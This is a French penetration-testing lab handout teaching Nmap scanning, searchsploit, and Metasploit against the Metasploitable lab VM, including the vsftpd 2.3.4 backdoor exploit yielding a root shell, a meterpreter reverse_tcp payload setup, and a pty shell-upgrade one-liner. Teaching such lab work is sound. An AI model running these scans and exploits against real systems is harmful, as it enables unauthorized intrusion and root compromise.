

---

# **TP test d'intrusion**

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE

2020-11-29

## Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utiliser, et comment exploiter une vulnérabilité avec le framework Metasploit.

## Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

## Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

*Exemple avec Metasploitable :*

```
1 $ nmap 192.168.56.101
2
3 Starting Nmap 7.60 ( https://nmap.org ) at 2020-11-29 15:06 CET
4 Nmap scan report for 192.168.56.101
5 Host is up (0.00018s latency).
6 Not shown: 977 closed ports
7 PORT      STATE SERVICE
8 21/tcp    open  ftp
9 22/tcp    open  ssh
10 23/tcp    open  telnet
11 25/tcp    open  smtp
12 53/tcp    open  domain
13 80/tcp    open  http
14 111/tcp   open  rpcbind
15 139/tcp   open  netbios-ssn
16 445/tcp   open  microsoft-ds
17 512/tcp   open  exec
18 513/tcp   open  login
19 514/tcp   open  shell
20 1099/tcp  open  rmiregistry
21 1524/tcp  open  ingreslock
22 2049/tcp  open  nfs
23 2121/tcp  open  ccproxy-ftp
```

```
24 3306/tcp open  mysql
25 5432/tcp open  postgresql
26 5900/tcp open  vnc
27 6000/tcp open  X11
28 6667/tcp open  irc
29 8009/tcp open  ajp13
30 8180/tcp open  unknown
31
32 Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
```

## Découvrir les machines présentes sur un réseau

### Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
1 nmap -sn 10.11.1.1-254
```

### Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
1 nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

**-Pn** : scan les ports même si la machine ne réponds pas aux pings.

**--top-ports xx** : scan uniquement les **xx** ports les plus communs.

**--open** : dans la sortie indique uniquement les ports ouverts.

**-sS** : **syn** scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

### Enregistrer les résultats

Nmap support 3 formats d'enregistrement

**-oN** : format texte classique. Identique à la sortie de la console.

**-oG** : *grepable nmap*, optimisé pour une recherche dans les résultats avec **grep**

**-oX** : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

## Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

### Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
1 nmap -sV -sC -O -p- 192.168.56.102 -oN full.nmap
```

**-p-** va indiquer que l'on liste absolument tous les ports

**-sV** indique que l'on veut récupérer les informations de version

**-sC** indique que l'on lance les *scripts nmap* de récupération d'information qui n'ont pas d'effet de bord

**-O** signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.

**-oN** écrit les résultats dans le fichier `full.nmap`

On réalise généralement un **1er scan de port** sans l'option **-p-** de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

### Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
1 nmap -sU 192.168.56.102 -oN udp.nmap
```

### Scripts Nmap

Nmap a la possibilité d'**exécuter des scripts**. Les scripts sont stockés dans le dossier `/usr/share/nmap/scripts`

Lister les scripts en lien avec SMB :

```
1 ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'**aide** sur un **script** de la façon suivante :

```
1 $ nmap --script-help=smb-os-discovery.nse
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST
3
4 smb-os-discovery
```

```
5 Categories: default discovery safe
6 https://nmap.org/nsedoc/scripts/smb-os-discovery.html
7 Attempts to determine the operating system, computer name, domain,
  workgroup, and current
8 time over the SMB protocol (ports 445 or 139).
9 This is done by starting a session with the anonymous
10 account (or with a proper user account, if one is given; it likely
  doesn't make
11 a difference); in response to a session starting, the server will
  send back all this
12 information.
13
14 The following fields may be included in the output, depending on the
15 circumstances (e.g. the workgroup name is mutually exclusive with
  domain and forest
16 names) and the information available:
17 * OS
18 * Computer name
19 [...]
```

Un **script nmap** est exécuté de la façon suivante :

```
1 $ nmap --script=smb-os-discovery.nse 172.16.237.130 -p139,445
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:25 EST
3 Nmap scan report for 172.16.237.130
4 Host is up (0.00039s latency).
5
6 PORT      STATE SERVICE
7 139/tcp   open  netbios-ssn
8 445/tcp   open  microsoft-ds
9
10 Host script results:
11 | smb-os-discovery:
12 |   OS: Unix (Samba 3.0.20-Debian)
13 |   Computer name: metasploitable
14 |   NetBIOS computer name:
15 |   Domain name: localdomain
16 |   FQDN: metasploitable.localdomain
17 |_  System time: 2020-11-29T06:15:53-05:00
18
19 Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
```

## Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme [cvedetails.com](https://cvedetails.com), et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

## Exploit-DB

Le site de référence pour les exploits publics est **exploit-db.com**.

On peut effectuer des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : **searchsploit**.

```
1 $ searchsploit vsftpd
2 -----
3 Exploit Title | Path
4 -----
5 vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
6 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
7 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
8 vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
9 vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
10 -----
```

On peut utiliser l'option **-u** pour mettre à jour la base de données. `searchsploit -u`

L'option **-x** pour voir le détail d'un exploit. `searchsploit -x unix/remote/17491.rb`.

Et l'option **-m** pour en faire une copie dans le dossier courant. `searchsploit -m unix/remote/17491.rb`

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

## Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil `dos2unix`.

```
1 $ file 31819.pl
2 31819.pl: ASCII text, with CRLF line terminators
3
4 $ dos2unix 31819.pl
```

```
5 dos2unix: converting file 31819.pl to Unix format...
6
7 $ file 31819.pl
8 31819.pl: ASCII text
```

## Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.

Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité **MS17-010**.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

## Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande **msfdb run**.

L'état de la base de données peut être vérifiée avec **msfdb status**.

## Msfconsole

On lance le framework avec la commande **msfconsole**.

```
1 $ msfconsole
2 IIIIII dTb.dTb
3  II  4'  v  'B  . '"".'/'\.'"".'
4  II  6.      .P  : .'. / \ \.' :
5  II  'T;. .;P'  \.' / \ \.' :
6  II  'T; ;P'   \.' / \ \.' :
7 IIIIII  'YvP'   \.' / \ \.' :
8
9 I love shells --egypt
10
11
12      =[ metasploit v6.0.17-dev                      ]
13 + -- --=[ 2076 exploits - 1124 auxiliary - 352 post   ]
14 + -- --=[ 592 payloads - 45 encoders - 10 nops      ]
15 + -- --=[ 7 evasion                                   ]
16
17 Metasploit tip: You can use help to view all available commands
18
19 msf6 >
```

Pour obtenir de l'aide, il existe la commande `help`, ainsi que l'option `-h` les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

**Exploit :** La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

**Auxiliary :** Va contenir les scanners, fuzzeurs, sniffer, etc.

**Payload, Encoders, Nops :** Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

**Post :** Ensemble de modules qui aident à la phase de post-exploitation.

### Rechercher un exploit / module

On peut utiliser la commande `search` pour chercher un module.

```
1 msf6 > search vsftpd
2
3 Matching Modules
4 =====
5
6 #   Name                                     Disclosure Date   Rank
7 -   -   Check   Description                                     -----
8 0   exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03       excellent
9     No      VSFTPD v2.3.4 Backdoor Command Execution
10
11 Interact with a module by name or index. For example info 0, use 0 or
    use exploit/unix/ftp/vsftpd_234_backdoor
```



## Utiliser un module

Pour utiliser un module on utilise la commande `use`.

```
1 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2 [*] No payload configured, defaulting to cmd/unix/interact
3
4 msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

## Obtenir des infos

On utilise la commande `show info` pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise `show options`.

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
2
3 Module options (exploit/unix/ftp/vsftpd_234_backdoor):
4
5   Name      Current Setting  Required  Description
6   ----      -
7   RHOSTS          yes          The target host(s), range CIDR
8   RPORT  21          yes          identifier, or hosts file with syntax 'file:<path>'
9   The target port (TCP)
10
11 Payload options (cmd/unix/interact):
12
13   Name      Current Setting  Required  Description
14   ----      -
15
16
17 Exploit target:
18
19   Id  Name
20   --  -
21   0   Automatic
```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande `set` :

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.16.237.130
2 RHOSTS => 172.16.237.130
```

## Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande `show payloads`. Si compatible, on choisira généralement `windows/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp` ou `linux/x64/meterpreter/reverse_tcp`.

Pour sélectionner un payload, on utilisera de la même façon la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/
  meterpreter/reverse_tcp
2 payload => windows/meterpreter/reverse_tcp
```

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquelle le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
2 LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** apparaissent également dans la sortie de la commande `options`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > options
2 [...]
3
4 Payload options (windows/meterpreter/reverse_tcp):
5
6   Name      Current Setting  Required  Description
7   ----      -
8   EXITFUNC  thread          yes       Exit technique (Accepted: '',
9             seh, thread, process, none)
10  LHOST      192.168.56.101  yes       The listen address (an
             interface may be specified)
11  LPORT      4444            yes       The listen port
```

## Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande `check` pour vérifier si la cible est vulnérable.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > check
2
3 [*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as
  check
4 [-] 172.16.237.130:445 - Host does NOT appear vulnerable.
5 [*] 172.16.237.130:445 - Scanned 1 of 1 hosts (100% complete)
```

```
6  [*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande `exploit` pour exécuter l'exploit.

```
1  msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
2
3  [*] 172.16.237.130:21 - Banner: 220 (vsFTPd 2.3.4)
4  [*] 172.16.237.130:21 - USER: 331 Please specify the password.
5  [+] 172.16.237.130:21 - Backdoor service has been spawned, handling...
6  [+] 172.16.237.130:21 - UID: uid=0(root) gid=0(root)
7  [*] Found shell.
8  [*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.237.130:6200)
   at 2020-11-29 17:15:39 -0500
9
10 whoami
11 root
```

## Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
1  python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python : `python2` ou `python3`).

## Les sessions

Un shell ou **session** peut être mis en arrière plan avec la commande `background` ou le raccourci `Ctrl + Z`.

On peut lister les sessions avec la commande `sessions`.

```
1  msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions
2
3  Active sessions
4  =====
5
6  Id   Name   Type           Information   Connection
7  --   -
8  1    shell cmd/unix 0.0.0.0:0 ->
      172.16.237.130:6200 (172.16.237.130)
```

On peut récupérer une session interactive avec la commande `session -i`.

```
1  msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
```

```
2  [*] Starting interaction with 1...
3
4  whoami
5  root
```

**Exercice :**

1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
2. Utiliser un autre exploit pour obtenir un shell.